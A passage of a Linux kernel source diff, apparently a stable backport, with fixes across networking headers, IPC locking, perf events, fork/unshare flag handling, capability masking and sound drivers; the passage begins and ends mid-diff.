c2e542b27a5a8..b1c3d1c63c4e0 100644 --- a/include/net/secure_seq.h +++ b/include/net/secure_seq.h @@ -3,8 +3,6 @@ #include -extern __u32 secure_ip_id(__be32 daddr); -extern __u32 secure_ipv6_id(const __be32 daddr[4]); extern u32 secure_ipv4_port_ephemeral(__be32 saddr, __be32 daddr, __be16 dport); extern u32 secure_ipv6_port_ephemeral(const __be32 *saddr, const __be32 *daddr, __be16 dport); diff --git a/include/net/sock.h b/include/net/sock.h index 695c8563e0acc..9dd84510b54d8 100644 --- a/include/net/sock.h +++ b/include/net/sock.h @@ -674,6 +674,8 @@ enum sock_flags { SOCK_SELECT_ERR_QUEUE, /* Wake select on error queue */ }; +#define SK_FLAGS_TIMESTAMP ((1UL << SOCK_TIMESTAMP) | (1UL << SOCK_TIMESTAMPING_RX_SOFTWARE)) + static inline void sock_copy_flags(struct sock *nsk, struct sock *osk) { nsk->sk_flags = osk->sk_flags; @@ -784,6 +786,14 @@ static inline __must_check int sk_add_backlog(struct sock *sk, struct sk_buff *s if (sk_rcvqueues_full(sk, skb, limit)) return -ENOBUFS; + /* + * If the skb was allocated from pfmemalloc reserves, only + * allow SOCK_MEMALLOC sockets to use it as this socket is + * helping free memory + */ + if (skb_pfmemalloc(skb) && !sock_flag(sk, SOCK_MEMALLOC)) + return -ENOMEM; + __sk_add_backlog(sk, skb); sk->sk_backlog.len += skb->truesize; return 0; @@ -934,7 +944,6 @@ struct proto { struct sk_buff *skb); void (*release_cb)(struct sock *sk); - void (*mtu_reduced)(struct sock *sk); /* Keeping track of sk's, looking them up, and port selection methods. */ void (*hash)(struct sock *sk); @@ -1730,8 +1739,8 @@ sk_dst_get(struct sock *sk) rcu_read_lock(); dst = rcu_dereference(sk->sk_dst_cache); - if (dst) - dst_hold(dst); + if (dst && !atomic_inc_not_zero(&dst->__refcnt)) + dst = NULL; rcu_read_unlock(); return dst; } @@ -1770,9 +1779,11 @@ __sk_dst_set(struct sock *sk, struct dst_entry *dst) static inline void sk_dst_set(struct sock *sk, struct dst_entry *dst) { - spin_lock(&sk->sk_dst_lock); - __sk_dst_set(sk, dst); - spin_unlock(&sk->sk_dst_lock); + struct dst_entry *old_dst; + + sk_tx_queue_clear(sk); + old_dst = xchg((__force struct dst_entry **)&sk->sk_dst_cache, dst); + dst_release(old_dst); } static inline void @@ -1784,9 +1795,7 @@ __sk_dst_reset(struct sock *sk) static inline void sk_dst_reset(struct sock *sk) { - spin_lock(&sk->sk_dst_lock); - __sk_dst_reset(sk); - spin_unlock(&sk->sk_dst_lock); + sk_dst_set(sk, NULL); } extern struct dst_entry *__sk_dst_check(struct sock *sk, u32 cookie); diff --git a/include/net/tcp.h b/include/net/tcp.h index 4b94a61fc04e1..e9929eb02f117 100644 --- a/include/net/tcp.h +++ b/include/net/tcp.h @@ -475,6 +475,7 @@ extern const u8 *tcp_parse_md5sig_option(const struct tcphdr *th); */ extern void tcp_v4_send_check(struct sock *sk, struct sk_buff *skb); +void tcp_v4_mtu_reduced(struct sock *sk); extern int tcp_v4_conn_request(struct sock *sk, struct sk_buff *skb); extern struct sock * tcp_create_openreq_child(struct sock *sk, struct request_sock *req, diff --git a/include/rdma/ib.h b/include/rdma/ib.h new file mode 100644 index 0000000000000..f09331ad0aba4 --- /dev/null +++ b/include/rdma/ib.h @@ -0,0 +1,54 @@ +/* + * Copyright (c) 2010 Intel Corporation. All rights reserved. + * + * This software is available to you under a choice of one of two + * licenses. You may choose to be licensed under the terms of the GNU + * General Public License (GPL) Version 2, available from the file + * COPYING in the main directory of this source tree, or the + * OpenIB.org BSD license below: + * + * Redistribution and use in source and binary forms, with or + * without modification, are permitted provided that the following + * conditions are met: + * + * - Redistributions of source code must retain the above + * copyright notice, this list of conditions and the following + * disclaimer. + * + * - Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * disclaimer in the documentation and/or other materials + * provided with the distribution. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS + * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN + * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ + +#if !defined(_RDMA_IB_H) +#define _RDMA_IB_H + +#include +#include + +/* + * The IB interfaces that use write() as bi-directional ioctl() are + * fundamentally unsafe, since there are lots of ways to trigger "write()" + * calls from various contexts with elevated privileges. That includes the + * traditional suid executable error message writes, but also various kernel + * interfaces that can write to file descriptors. + * + * This function provides protection for the legacy API by restricting the + * calling context. + */ +static inline bool ib_safe_file_access(struct file *filp) +{ + return filp->f_cred == current_cred() && segment_eq(get_fs(), USER_DS); +} + +#endif /* _RDMA_IB_H */ diff --git a/include/sound/ak4113.h b/include/sound/ak4113.h index 2609048c1d442..3a34f6edc2d1f 100644 --- a/include/sound/ak4113.h +++ b/include/sound/ak4113.h @@ -286,7 +286,7 @@ struct ak4113 { ak4113_write_t *write; ak4113_read_t *read; void *private_data; - unsigned int init:1; + atomic_t wq_processing; spinlock_t lock; unsigned char regmap[AK4113_WRITABLE_REGS]; struct snd_kcontrol *kctls[AK4113_CONTROLS]; diff --git a/include/sound/ak4114.h b/include/sound/ak4114.h index 3ce69fd925233..69441161009c5 100644 --- a/include/sound/ak4114.h +++ b/include/sound/ak4114.h @@ -168,7 +168,7 @@ struct ak4114 { ak4114_write_t * write; ak4114_read_t * read; void * private_data; - unsigned int init: 1; + atomic_t wq_processing; spinlock_t lock; unsigned char regmap[7]; unsigned char txcsb[5]; diff --git a/include/sound/emu10k1.h b/include/sound/emu10k1.h index dfb42ca6d0436..8898cdeb42a4a 100644 --- a/include/sound/emu10k1.h +++ b/include/sound/emu10k1.h @@ -41,7 +41,8 @@ #define EMUPAGESIZE 4096 #define MAXREQVOICES 8 -#define MAXPAGES 8192 +#define MAXPAGES0 4096 /* 32 bit mode */ +#define MAXPAGES1 8192 /* 31 bit mode */ #define RESERVED 0 #define NUM_MIDI 16 #define NUM_G 64 /* use all channels */ @@ -50,8 +51,7 @@ /* FIXME? - according to the OSS driver the EMU10K1 needs a 29 bit DMA mask */ #define EMU10K1_DMA_MASK 0x7fffffffUL /* 31bit */ -#define AUDIGY_DMA_MASK 0x7fffffffUL /* 31bit FIXME - 32 should work? */ - /* See ALSA bug #1276 - rlrevell */ +#define AUDIGY_DMA_MASK 0xffffffffUL /* 32bit mode */ #define TMEMSIZE 256*1024 #define TMEMSIZEREG 4 @@ -468,8 +468,11 @@ #define MAPB 0x0d /* Cache map B */ -#define MAP_PTE_MASK 0xffffe000 /* The 19 MSBs of the PTE indexed by the PTI */ -#define MAP_PTI_MASK 0x00001fff /* The 13 bit index to one of the 8192 PTE dwords */ +#define MAP_PTE_MASK0 0xfffff000 /* The 20 MSBs of the PTE indexed by the PTI */ +#define MAP_PTI_MASK0 0x00000fff /* The 12 bit index to one of the 4096 PTE dwords */ + +#define MAP_PTE_MASK1 0xffffe000 /* The 19 MSBs of the PTE indexed by the PTI */ +#define MAP_PTI_MASK1 0x00001fff /* The 13 bit index to one of the 8192 PTE dwords */ /* 0x0e, 0x0f: Not used */ @@ -1706,6 +1709,7 @@ struct snd_emu10k1 { unsigned short model; /* subsystem id */ unsigned int card_type; /* EMU10K1_CARD_* */ unsigned int ecard_ctrl; /* ecard control bits */ + unsigned int address_mode; /* address mode */ unsigned long dma_mask; /* PCI DMA mask */ unsigned int delay_pcm_irq; /* in samples */ int max_cache_pages; /* max memory size / PAGE_SIZE */ diff --git a/include/sound/wm8904.h b/include/sound/wm8904.h index 898be3a8db9ae..6d8f8fba33414 100644 --- a/include/sound/wm8904.h +++ b/include/sound/wm8904.h @@ -119,7 +119,7 @@ #define WM8904_MIC_REGS 2 #define WM8904_GPIO_REGS 4 #define WM8904_DRC_REGS 4 -#define WM8904_EQ_REGS 25 +#define WM8904_EQ_REGS 24 /** * DRC configurations are specified with a label and a set of register diff --git a/include/uapi/linux/const.h b/include/uapi/linux/const.h index c22c707c455d6..c872bfd25e139 100644 --- a/include/uapi/linux/const.h +++ b/include/uapi/linux/const.h @@ -21,4 +21,7 @@ #define _AT(T,X) ((T)(X)) #endif +#define _BITUL(x) (_AC(1,UL) << (x)) +#define _BITULL(x) (_AC(1,ULL) << (x)) + #endif /* !(_LINUX_CONST_H) */ diff --git a/include/uapi/linux/netfilter/xt_bpf.h b/include/uapi/linux/netfilter/xt_bpf.h index 5dda450eb55be..2ec9fbcd06f9a 100644 --- a/include/uapi/linux/netfilter/xt_bpf.h +++ b/include/uapi/linux/netfilter/xt_bpf.h @@ -6,6 +6,8 @@ #define XT_BPF_MAX_NUM_INSTR 64 +struct sk_filter; + struct xt_bpf_info { __u16 bpf_program_num_elem; struct sock_filter bpf_program[XT_BPF_MAX_NUM_INSTR]; diff --git a/include/uapi/linux/usbdevice_fs.h b/include/uapi/linux/usbdevice_fs.h index 0c65e4b126171..ef29266ef77a1 100644 --- a/include/uapi/linux/usbdevice_fs.h +++ b/include/uapi/linux/usbdevice_fs.h @@ -125,11 +125,12 @@ struct usbdevfs_hub_portinfo { char port [127]; /* e.g. port 3 connects to device 27 */ }; -/* Device capability flags */ +/* System and bus capability flags */ #define USBDEVFS_CAP_ZERO_PACKET 0x01 #define USBDEVFS_CAP_BULK_CONTINUATION 0x02 #define USBDEVFS_CAP_NO_PACKET_SIZE_LIM 0x04 #define USBDEVFS_CAP_BULK_SCATTER_GATHER 0x08 +#define USBDEVFS_CAP_REAP_AFTER_DISCONNECT 0x10 /* USBDEVFS_DISCONNECT_CLAIM flags & struct */ diff --git a/include/xen/interface/sched.h b/include/xen/interface/sched.h index 9ce083960a257..f18490985fc8e 100644 --- a/include/xen/interface/sched.h +++ b/include/xen/interface/sched.h @@ -107,5 +107,13 @@ struct sched_watchdog { #define SHUTDOWN_suspend 2 /* Clean up, save suspend info, kill. */ #define SHUTDOWN_crash 3 /* Tell controller we've crashed. */ #define SHUTDOWN_watchdog 4 /* Restart because watchdog time expired. */ +/* + * Domain asked to perform 'soft reset' for it. The expected behavior is to + * reset internal Xen state for the domain returning it to the point where it + * was created but leaving the domain's memory contents and vCPU contexts + * intact. This will allow the domain to start over and set up all Xen specific + * interfaces again. + */ +#define SHUTDOWN_soft_reset 5 #endif /* __XEN_PUBLIC_SCHED_H__ */ diff --git a/init/Kconfig b/init/Kconfig index 02fe44bfbf74a..1612fde032d5b 100644 --- a/init/Kconfig +++ b/init/Kconfig @@ -1400,6 +1400,7 @@ config FUTEX config HAVE_FUTEX_CMPXCHG bool + depends on FUTEX help Architectures should select this if futex_atomic_cmpxchg_inatomic() is implemented and always working. This removes a couple of runtime diff --git a/init/main.c b/init/main.c index dd60587caf16d..8e40280dc49c1 100644 --- a/init/main.c +++ b/init/main.c @@ -608,6 +608,10 @@ asmlinkage void __init start_kernel(void) #ifdef CONFIG_X86 if (efi_enabled(EFI_RUNTIME_SERVICES)) efi_enter_virtual_mode(); +#endif +#ifdef CONFIG_X86_ESPFIX64 + /* Should be run before the first non-init thread is created */ + init_espfix_bsp(); #endif thread_info_cache_init(); cred_init(); diff --git a/ipc/compat.c b/ipc/compat.c index 892f6585dd601..d3b376025e9b8 100644 --- a/ipc/compat.c +++ b/ipc/compat.c @@ -381,7 +381,7 @@ COMPAT_SYSCALL_DEFINE6(ipc, u32, call, int, first, int, second, uptr = compat_ptr(ipck.msgp); fifth = ipck.msgtyp; } - return do_msgrcv(first, uptr, second, fifth, third, + return do_msgrcv(first, uptr, second, (s32)fifth, third, compat_do_msg_fill); } case MSGGET: diff --git a/ipc/ipc_sysctl.c b/ipc/ipc_sysctl.c index b0e99deb6d053..a0f0ab2ac2a8b 100644 --- a/ipc/ipc_sysctl.c +++ b/ipc/ipc_sysctl.c @@ -123,7 +123,6 @@ static int proc_ipcauto_dointvec_minmax(ctl_table *table, int write, void __user *buffer, size_t *lenp, loff_t *ppos) { struct ctl_table ipc_table; - size_t lenp_bef = *lenp; int oldval; int rc; @@ -133,7 +132,7 @@ static int proc_ipcauto_dointvec_minmax(ctl_table *table, int write, rc = proc_dointvec_minmax(&ipc_table, write, buffer, lenp, ppos); - if (write && !rc && lenp_bef == *lenp) { + if (write && !rc) { int newval = *((int *)(ipc_table.data)); /* * The file "auto_msgmni" has correctly been set. diff --git a/ipc/mqueue.c b/ipc/mqueue.c index bb0248fc51877..82bb5e81ef575 100644 --- a/ipc/mqueue.c +++ b/ipc/mqueue.c @@ -143,7 +143,6 @@ static int msg_insert(struct msg_msg *msg, struct mqueue_inode_info *info) if (!leaf) return -ENOMEM; INIT_LIST_HEAD(&leaf->msg_list); - info->qsize += sizeof(*leaf); } leaf->priority = msg->m_type; rb_link_node(&leaf->rb_node, parent, p); @@ -188,7 +187,6 @@ static inline struct msg_msg *msg_get(struct mqueue_inode_info *info) "lazy leaf delete!\n"); rb_erase(&leaf->rb_node, &info->msg_tree); if (info->node_cache) { - info->qsize -= sizeof(*leaf); kfree(leaf); } else { info->node_cache = leaf; @@ -201,7 +199,6 @@ static inline struct msg_msg *msg_get(struct mqueue_inode_info *info) if (list_empty(&leaf->msg_list)) { rb_erase(&leaf->rb_node, &info->msg_tree); if (info->node_cache) { - info->qsize -= sizeof(*leaf); kfree(leaf); } else { info->node_cache = leaf; @@ -1026,7 +1023,6 @@ SYSCALL_DEFINE5(mq_timedsend, mqd_t, mqdes, const char __user *, u_msg_ptr, /* Save our speculative allocation into the cache */ INIT_LIST_HEAD(&new_leaf->msg_list); info->node_cache = new_leaf; - info->qsize += sizeof(*new_leaf); new_leaf = NULL; } else { kfree(new_leaf); @@ -1133,7 +1129,6 @@ SYSCALL_DEFINE5(mq_timedreceive, mqd_t, mqdes, char __user *, u_msg_ptr, /* Save our speculative allocation into the cache */ INIT_LIST_HEAD(&new_leaf->msg_list); info->node_cache = new_leaf; - info->qsize += sizeof(*new_leaf); } else { kfree(new_leaf); } diff --git a/ipc/msg.c b/ipc/msg.c index 52770bfde2a5a..32aaaab15c5c4 100644 --- a/ipc/msg.c +++ b/ipc/msg.c @@ -202,13 +202,6 @@ static int newque(struct ipc_namespace *ns, struct ipc_params *params) return retval; } - /* ipc_addid() locks msq upon success. */ - id = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni); - if (id < 0) { - ipc_rcu_putref(msq, msg_rcu_free); - return id; - } - msq->q_stime = msq->q_rtime = 0; msq->q_ctime = get_seconds(); msq->q_cbytes = msq->q_qnum = 0; @@ -218,6 +211,13 @@ static int newque(struct ipc_namespace *ns, struct ipc_params *params) INIT_LIST_HEAD(&msq->q_receivers); INIT_LIST_HEAD(&msq->q_senders); + /* ipc_addid() locks msq upon success. */ + id = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni); + if (id < 0) { + ipc_rcu_putref(msq, msg_rcu_free); + return id; + } + ipc_unlock_object(&msq->q_perm); rcu_read_unlock(); diff --git a/ipc/sem.c b/ipc/sem.c index db9d241af133d..47a15192b8b87 100644 --- a/ipc/sem.c +++ b/ipc/sem.c @@ -252,6 +252,16 @@ static void sem_rcu_free(struct rcu_head *head) ipc_rcu_free(head); } +/* + * spin_unlock_wait() and !spin_is_locked() are not memory barriers, they + * are only control barriers. + * The code must pair with spin_unlock(&sem->lock) or + * spin_unlock(&sem_perm.lock), thus just the control barrier is insufficient. + * + * smp_rmb() is sufficient, as writes cannot pass the control barrier. + */ +#define ipc_smp_acquire__after_spin_is_unlocked() smp_rmb() + /* * Wait until all currently ongoing simple ops have completed. * Caller must own sem_perm.lock. @@ -275,6 +285,7 @@ static void sem_wait_array(struct sem_array *sma) sem = sma->sem_base + i; spin_unlock_wait(&sem->lock); } + ipc_smp_acquire__after_spin_is_unlocked(); } /* @@ -326,8 +337,13 @@ static inline int sem_lock(struct sem_array *sma, struct sembuf *sops, /* Then check that the global lock is free */ if (!spin_is_locked(&sma->sem_perm.lock)) { - /* spin_is_locked() is not a memory barrier */ - smp_mb(); + /* + * We need a memory barrier with acquire semantics, + * otherwise we can race with another thread that does: + * complex_count++; + * spin_unlock(sem_perm.lock); + */ + ipc_smp_acquire__after_spin_is_unlocked(); /* Now repeat the test of complex_count: * It can't change anymore until we drop sem->lock. @@ -2049,17 +2065,28 @@ void exit_sem(struct task_struct *tsk) rcu_read_lock(); un = list_entry_rcu(ulp->list_proc.next, struct sem_undo, list_proc); - if (&un->list_proc == &ulp->list_proc) - semid = -1; - else - semid = un->semid; + if (&un->list_proc == &ulp->list_proc) { + /* + * We must wait for freeary() before freeing this ulp, + * in case we raced with last sem_undo. There is a small + * possibility where we exit while freeary() didn't + * finish unlocking sem_undo_list. + */ + spin_unlock_wait(&ulp->lock); + rcu_read_unlock(); + break; + } + spin_lock(&ulp->lock); + semid = un->semid; + spin_unlock(&ulp->lock); + /* exit_sem raced with IPC_RMID, nothing to do */ if (semid == -1) { rcu_read_unlock(); - break; + continue; } - sma = sem_obtain_object_check(tsk->nsproxy->ipc_ns, un->semid); + sma = sem_obtain_object_check(tsk->nsproxy->ipc_ns, semid); /* exit_sem raced with IPC_RMID, nothing to do */ if (IS_ERR(sma)) { rcu_read_unlock(); diff --git a/ipc/shm.c b/ipc/shm.c index 6dc55af8a29b4..08b14f69d6cfd 100644 --- a/ipc/shm.c +++ b/ipc/shm.c @@ -544,12 +544,6 @@ static int newseg(struct ipc_namespace *ns, struct ipc_params *params) if (IS_ERR(file)) goto no_file; - id = ipc_addid(&shm_ids(ns), &shp->shm_perm, ns->shm_ctlmni); - if (id < 0) { - error = id; - goto no_id; - } - shp->shm_cprid = task_tgid_vnr(current); shp->shm_lprid = 0; shp->shm_atim = shp->shm_dtim = 0; @@ -559,6 +553,12 @@ static int newseg(struct ipc_namespace *ns, struct ipc_params *params) shp->shm_file = file; shp->shm_creator = current; + id = ipc_addid(&shm_ids(ns), &shp->shm_perm, ns->shm_ctlmni); + if (id < 0) { + error = id; + goto no_id; + } + /* * shmid gets reported as "inode#" in /proc/pid/maps. * proc-ps tools use this. Changing this will break them. diff --git a/ipc/util.c b/ipc/util.c index 7684f41bce76a..735342570a875 100644 --- a/ipc/util.c +++ b/ipc/util.c @@ -292,6 +292,10 @@ int ipc_addid(struct ipc_ids* ids, struct kern_ipc_perm* new, int size) rcu_read_lock(); spin_lock(&new->lock); + current_euid_egid(&euid, &egid); + new->cuid = new->uid = euid; + new->gid = new->cgid = egid; + id = idr_alloc(&ids->ipcs_idr, new, (next_id < 0) ? 0 : ipcid_to_idx(next_id), 0, GFP_NOWAIT); @@ -304,10 +308,6 @@ int ipc_addid(struct ipc_ids* ids, struct kern_ipc_perm* new, int size) ids->in_use++; - current_euid_egid(&euid, &egid); - new->cuid = new->uid = euid; - new->gid = new->cgid = egid; - if (next_id < 0) { new->seq = ids->seq++; if (ids->seq > ids->seq_max) diff --git a/kernel/audit.c b/kernel/audit.c index a6c632757e57a..4dd7529b08451 100644 --- a/kernel/audit.c +++ b/kernel/audit.c @@ -1412,7 +1412,7 @@ void audit_log_cap(struct audit_buffer *ab, char *prefix, kernel_cap_t *cap) audit_log_format(ab, " %s=", prefix); CAP_FOR_EACH_U32(i) { audit_log_format(ab, "%08x", - cap->cap[(_KERNEL_CAPABILITY_U32S-1) - i]); + cap->cap[CAP_LAST_U32 - i]); } } diff --git a/kernel/audit_tree.c b/kernel/audit_tree.c index 43c307dc9453d..00c4459f76df3 100644 --- a/kernel/audit_tree.c +++ b/kernel/audit_tree.c @@ -154,6 +154,7 @@ static struct audit_chunk *alloc_chunk(int count) chunk->owners[i].index = i; } fsnotify_init_mark(&chunk->mark, audit_tree_destroy_watch); + chunk->mark.mask = FS_IN_IGNORED; return chunk; } diff --git a/kernel/capability.c b/kernel/capability.c index d52eecc0942b0..1339806a87312 100644 --- a/kernel/capability.c +++ b/kernel/capability.c @@ -268,6 +268,10 @@ SYSCALL_DEFINE2(capset, cap_user_header_t, header, const cap_user_data_t, data) i++; } + effective.cap[CAP_LAST_U32] &= CAP_LAST_U32_VALID_MASK; + permitted.cap[CAP_LAST_U32] &= CAP_LAST_U32_VALID_MASK; + inheritable.cap[CAP_LAST_U32] &= CAP_LAST_U32_VALID_MASK; + new = prepare_creds(); if (!new) return -ENOMEM; diff --git a/kernel/cgroup.c b/kernel/cgroup.c index 05b36e7b9e6b6..c98b765797bdb 100644 --- a/kernel/cgroup.c +++ b/kernel/cgroup.c @@ -984,7 +984,7 @@ static void cgroup_d_remove_dir(struct dentry *dentry) parent = dentry->d_parent; spin_lock(&parent->d_lock); spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); - list_del_init(&dentry->d_u.d_child); + list_del_init(&dentry->d_child); spin_unlock(&dentry->d_lock); spin_unlock(&parent->d_lock); remove_dir(dentry); diff --git a/kernel/debug/kdb/kdb_main.c b/kernel/debug/kdb/kdb_main.c index 00eb8f7fbf41c..545241de23bfd 100644 --- a/kernel/debug/kdb/kdb_main.c +++ b/kernel/debug/kdb/kdb_main.c @@ -2532,7 +2532,7 @@ static int kdb_summary(int argc, const char **argv) #define K(x) ((x) << (PAGE_SHIFT - 10)) kdb_printf("\nMemTotal: %8lu kB\nMemFree: %8lu kB\n" "Buffers: %8lu kB\n", - val.totalram, val.freeram, val.bufferram); + K(val.totalram), K(val.freeram), K(val.bufferram)); return 0; } diff --git a/kernel/events/core.c b/kernel/events/core.c index 806ee14590aef..0e1aa757c299f 100644 --- a/kernel/events/core.c +++ b/kernel/events/core.c @@ -39,6 +39,7 @@ #include #include #include +#include #include "internal.h" @@ -1409,6 +1410,11 @@ static void __ref perf_remove_from_context(struct perf_event *event, bool detach */ if (ctx->is_active) { raw_spin_unlock_irq(&ctx->lock); + /* + * Reload the task pointer, it might have been changed by + * a concurrent perf_event_context_sched_out(). + */ + task = ctx->task; goto retry; } @@ -1840,6 +1846,11 @@ perf_install_in_context(struct perf_event_context *ctx, */ if (ctx->is_active) { raw_spin_unlock_irq(&ctx->lock); + /* + * Reload the task pointer, it might have been changed by + * a concurrent perf_event_context_sched_out(). + */ + task = ctx->task; goto retry; } @@ -2938,7 +2949,7 @@ find_lively_task_by_vpid(pid_t vpid) /* Reuse ptrace permission checks for now. */ err = -EACCES; - if (!ptrace_may_access(task, PTRACE_MODE_READ)) + if (!ptrace_may_access(task, PTRACE_MODE_READ_REALCREDS)) goto errout; return task; @@ -3501,6 +3512,25 @@ static long perf_ioctl(struct file *file, unsigned int cmd, unsigned long arg) return 0; } +#ifdef CONFIG_COMPAT +static long perf_compat_ioctl(struct file *file, unsigned int cmd, + unsigned long arg) +{ + switch (_IOC_NR(cmd)) { + case _IOC_NR(PERF_EVENT_IOC_SET_FILTER): + /* Fix up pointer size (usually 4 -> 8 in 32-on-64-bit case */ + if (_IOC_SIZE(cmd) == sizeof(compat_uptr_t)) { + cmd &= ~IOCSIZE_MASK; + cmd |= sizeof(void *) << IOCSIZE_SHIFT; + } + break; + } + return perf_ioctl(file, cmd, arg); +} +#else +# define perf_compat_ioctl NULL +#endif + int perf_event_task_enable(void) { struct perf_event *event; @@ -3972,7 +4002,7 @@ static const struct file_operations perf_fops = { .read = perf_read, .poll = perf_poll, .unlocked_ioctl = perf_ioctl, - .compat_ioctl = perf_ioctl, + .compat_ioctl = perf_compat_ioctl, .mmap = perf_mmap, .fasync = perf_fasync, }; @@ -3984,12 +4014,20 @@ static const struct file_operations perf_fops = { * to user-space before waking everybody up. */ +static inline struct fasync_struct **perf_event_fasync(struct perf_event *event) +{ + /* only the parent has fasync state */ + if (event->parent) + event = event->parent; + return &event->fasync; +} + void perf_event_wakeup(struct perf_event *event) { ring_buffer_wakeup(event); if (event->pending_kill) { - kill_fasync(&event->fasync, SIGIO, event->pending_kill); + kill_fasync(perf_event_fasync(event), SIGIO, event->pending_kill); event->pending_kill = 0; } } @@ -3998,6 +4036,13 @@ static void perf_pending_event(struct irq_work *entry) { struct perf_event *event = container_of(entry, struct perf_event, pending); + int rctx; + + rctx = perf_swevent_get_recursion_context(); + /* + * If we 'fail' here, that's OK, it means recursion is already disabled + * and we won't recurse 'further'. + */ if (event->pending_disable) { event->pending_disable = 0; @@ -4008,6 +4053,9 @@ static void perf_pending_event(struct irq_work *entry) event->pending_wakeup = 0; perf_event_wakeup(event); } + + if (rctx >= 0) + perf_swevent_put_recursion_context(rctx); } /* @@ -5134,7 +5182,7 @@ static int __perf_event_overflow(struct perf_event *event, else perf_event_output(event, data, regs); - if (event->fasync && event->pending_kill) { + if (*perf_event_fasync(event) && event->pending_kill) { event->pending_wakeup = 1; irq_work_queue(&event->pending); } @@ -5602,6 +5650,10 @@ static int perf_tp_filter_match(struct perf_event *event, { void *record = data->raw->data; + /* only top level events have filters set */ + if (event->parent) + event = event->parent; + if (likely(!event->filter) || filter_match_preds(event->filter, record)) return 1; return 0; @@ -6885,11 +6937,11 @@ SYSCALL_DEFINE5(perf_event_open, if (move_group) { synchronize_rcu(); - perf_install_in_context(ctx, group_leader, event->cpu); + perf_install_in_context(ctx, group_leader, group_leader->cpu); get_ctx(ctx); list_for_each_entry(sibling, &group_leader->sibling_list, group_entry) { - perf_install_in_context(ctx, sibling, event->cpu); + perf_install_in_context(ctx, sibling, sibling->cpu); get_ctx(ctx); } } @@ -7500,8 +7552,10 @@ int perf_event_init_task(struct task_struct *child) for_each_task_context_nr(ctxn) { ret = perf_event_init_context(child, ctxn); - if (ret) + if (ret) { + perf_event_free_task(child); return ret; + } } return 0; diff --git a/kernel/events/uprobes.c b/kernel/events/uprobes.c index ad8e1bdca70e4..8176caf6efd9d 100644 --- a/kernel/events/uprobes.c +++ b/kernel/events/uprobes.c @@ -1511,7 +1511,6 @@ bool uprobe_deny_signal(void) if (__fatal_signal_pending(t) || arch_uprobe_xol_was_trapped(t)) { utask->state = UTASK_SSTEP_TRAPPED; set_tsk_thread_flag(t, TIF_UPROBE); - set_tsk_thread_flag(t, TIF_NOTIFY_RESUME); } } diff --git a/kernel/fork.c b/kernel/fork.c index cd1adb78d2282..14fd8bb672efa 100644 --- a/kernel/fork.c +++ b/kernel/fork.c @@ -1382,7 +1382,7 @@ static struct task_struct *copy_process(unsigned long clone_flags, goto bad_fork_cleanup_policy; retval = audit_alloc(p); if (retval) - goto bad_fork_cleanup_policy; + goto bad_fork_cleanup_perf; /* copy all the process information */ retval = copy_semundo(clone_flags, p); if (retval) @@ -1517,14 +1517,6 @@ static struct task_struct *copy_process(unsigned long clone_flags, goto bad_fork_free_pid; } - if (clone_flags & CLONE_THREAD) { - current->signal->nr_threads++; - atomic_inc(¤t->signal->live); - atomic_inc(¤t->signal->sigcnt); - p->group_leader = current->group_leader; - list_add_tail_rcu(&p->thread_group, &p->group_leader->thread_group); - } - if (likely(p->pid)) { ptrace_init_task(p, (clone_flags & CLONE_PTRACE) || trace); @@ -1542,6 +1534,12 @@ static struct task_struct *copy_process(unsigned long clone_flags, list_add_tail_rcu(&p->tasks, &init_task.tasks); __this_cpu_inc(process_counts); } else { + current->signal->nr_threads++; + atomic_inc(¤t->signal->live); + atomic_inc(¤t->signal->sigcnt); + p->group_leader = current->group_leader; + list_add_tail_rcu(&p->thread_group, + &p->group_leader->thread_group); list_add_tail_rcu(&p->thread_node, &p->signal->thread_head); } @@ -1588,8 +1586,9 @@ static struct task_struct *copy_process(unsigned long clone_flags, exit_sem(p); bad_fork_cleanup_audit: audit_free(p); -bad_fork_cleanup_policy: +bad_fork_cleanup_perf: perf_event_free_task(p); +bad_fork_cleanup_policy: #ifdef CONFIG_NUMA mpol_put(p->mempolicy); bad_fork_cleanup_cgroup: @@ -1825,13 +1824,21 @@ static int check_unshare_flags(unsigned long unshare_flags) CLONE_NEWUSER|CLONE_NEWPID)) return -EINVAL; /* - * Not implemented, but pretend it works if there is nothing to - * unshare. Note that unsharing CLONE_THREAD or CLONE_SIGHAND - * needs to unshare vm. + * Not implemented, but pretend it works if there is nothing + * to unshare. Note that unsharing the address space or the + * signal handlers also need to unshare the signal queues (aka + * CLONE_THREAD). */ if (unshare_flags & (CLONE_THREAD | CLONE_SIGHAND | CLONE_VM)) { - /* FIXME: get_task_mm() increments ->mm_users */ - if (atomic_read(¤t->mm->mm_users) > 1) + if (!thread_group_empty(current)) + return -EINVAL; + } + if (unshare_flags & (CLONE_SIGHAND | CLONE_VM)) { + if (atomic_read(¤t->sighand->count) > 1) + return -EINVAL; + } + if (unshare_flags & CLONE_VM) { + if (!current_is_single_threaded()) return -EINVAL; } @@ -1904,16 +1911,16 @@ SYSCALL_DEFINE1(unshare, unsigned long, unshare_flags) */ if (unshare_flags & CLONE_NEWPID) unshare_flags |= CLONE_THREAD; - /* - * If unsharing a thread from a thread group, must also unshare vm. - */ - if (unshare_flags & CLONE_THREAD) - unshare_flags |= CLONE_VM; /* * If unsharing vm, must also unshare signal handlers. */ if (unshare_flags & CLONE_VM) unshare_flags |= CLONE_SIGHAND; + /* + * If unsharing a signal handlers, must also unshare the signal queues. + */ + if (unshare_flags & CLONE_SIGHAND) + unshare_flags |= CLONE_THREAD; /* * If unsharing namespace, must also unshare filesystem information. */ diff --git a/kernel/freezer.c b/kernel/freezer.c index 5420f635111f4..4ada72f5f55ad 100644 --- a/kernel/freezer.c +++ b/kernel/freezer.c @@ -42,6 +42,9 @@ bool freezing_slow_path(struct task_struct *p) if (p->flags & PF_NOFREEZE) return false; + if (test_thread_flag(TIF_MEMDIE)) + return false; + if 